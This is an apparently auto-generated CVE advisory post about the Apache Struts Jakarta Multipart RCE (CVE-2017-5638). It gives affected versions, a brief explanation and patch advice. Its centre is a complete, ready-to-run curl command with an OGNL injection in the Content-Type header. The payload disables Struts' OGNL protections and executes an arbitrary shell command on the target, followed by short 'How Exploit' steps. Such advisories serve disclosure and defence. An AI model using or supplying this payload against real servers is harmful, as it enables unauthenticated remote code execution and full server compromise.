Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists in the Jakarta Multipart parser of Apache Struts. An attacker exploits the flaw by sending a malformed `Content-Type` HTTP header in a file upload request. The parser incorrectly processes this header, allowing the insertion of Object-Graph Navigation Language (OGNL) expressions. These expressions are then evaluated by the Struts framework. This evaluation occurs before any file data is handled, meaning the malicious payload executes regardless of whether a file is actually uploaded. Consequently, an unauthenticated attacker can achieve remote code execution with the privileges of the Struts application server, enabling them to run arbitrary system commands on the targeted host.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='id').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target.com/struts2-showcase/fileupload/doUpload.action
How Exploit:
Craft malicious HTTP request.
Target vulnerable Struts endpoint.
Execute arbitrary system commands.
Protection from this CVE:
Upgrade Struts immediately.
Apply official patch.
Filter malicious Content-Type headers.
Impact:
Full server compromise.
Unauthenticated remote code execution.
Complete system access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
